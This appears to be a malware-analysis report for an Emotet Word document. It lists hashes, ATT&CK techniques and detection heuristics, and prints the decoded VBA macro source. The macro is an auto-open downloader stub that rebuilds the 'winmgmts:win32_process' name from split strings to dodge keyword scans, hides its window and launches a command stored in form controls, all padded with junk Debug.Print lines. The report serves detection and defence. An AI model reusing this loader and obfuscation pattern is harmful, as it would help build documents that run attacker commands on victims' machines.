Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 98cbacdf4521b91d…

MALICIOUS

Office (OLE)

113.4 KB Created: 2019-05-23 06:57:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: d514692f8f69118d1da57e8c4aeb9e24 SHA-1: 66c7d2ffbaa20941b5ca0159f24bcb13e0e07a9c SHA-256: 98cbacdf4521b91d660327b07da3cf5a4c73b2c74f043d0673cf5742e667cf50
342 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample contains a VBA macro with an autoopen subroutine, a common technique for Emotet. The script uses GetObject to instantiate WMI and create a new process, indicated by the obfuscated string 'winmgmts:win32_process'. This is a strong indicator of a downloader attempting to fetch and execute a secondary payload. ClamAV also identifies this as Emotet.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-6978977-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6978977-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2816 bytes
SHA-256: 30650081fac574207949b4b62ba861dd0854d83063269e787397dbdfcfd1c95b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "UBQaH9"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Tz701JJA, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "zaWwOBaH, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "ctrHjBh, 2, 2, MSForms, ComboBox"
Sub _
autoopen()
   Debug.Print (405) + (752)
 Debug.Print kTDVkj8A + (694)
 Debug.Print (jmmjvWME) + (827)
 Debug.Print (482) + GGQdisFs
dtaAzQ
   Debug.Print (62) + (382)
 Debug.Print YojjUD2 + (176)
 Debug.Print (covtZAz) + (64)
 Debug.Print (830) + jW3RFG
End Sub


Attribute VB_Name = "Fl1DrNmA"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "a0Viqr4"

Attribute VB_Name = "GbUc5VnO"

Attribute VB_Name = "A1zt1N4L"

Attribute VB_Name = "fACVQjlD"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "iiC9nUad"
Function dtaAzQ()
If 920525 = 920525 Then
   Debug.Print (861) + (606)
 Debug.Print BU0KjU + (793)
 Debug.Print (T_2MPd) + (106)
 Debug.Print (792) + IKLiKcJ
Set mR9hD3SQ = GetObject("wi" + "n" + "mg" + "mts:w" + "in32" + "_proc" + "ess" + "sta" + "rtup")
End If
   Debug.Print (409) + (453)
 Debug.Print ijvVr1V + (524)
 Debug.Print (rizk__) + (698)
 Debug.Print (241) + B3zwIQEt
rC1YQn = 0
   Debug.Print (440) + (397)
 Debug.Print rY_TXU + (165)
 Debug.Print (GwAdBuwF) + (777)
 Debug.Print (275) + iF5CZYb1
With mR9hD3SQ
   Debug.Print (151) + (970)
 Debug.Print TWcOdIEd + (262)
 Debug.Print (VYTJTBpV) + (511)
 Debug.Print (454) + dLZXWC75
. _
ShowWindow = rC1YQn + rC1YQn
   Debug.Print (709) + (832)
 Debug.Print qmN88O + (269)
 Debug.Print (bhMArjQ) + (213)
 Debug.Print (202) + oNmSmzP
End With
If 920525 = 920525 Then
   Debug.Print (202) + (108)
 Debug.Print nWNj_i + (621)
 Debug.Print (G9JAEuEC) + (426)
 Debug.Print (513) + iUln7I
GetObject("wi" + "n" + "mg" + "mts:w" + "in32" + "_proc" + "ess") _
.Create# UBQaH9.zaWwOBaH + UBQaH9.ctrHjBh + UBQaH9.Tz701JJA, f4Sbjw5, mR9hD3SQ, WTu_jX
   Debug.Print (624) + (271)
 Debug.Print abjo3b + (281)
 Debug.Print (QA2Czqz8) + (268)
 Debug.Print (57) + ZS_WMIs7
End If
End Function


Attribute VB_Name = "UkKYvQ"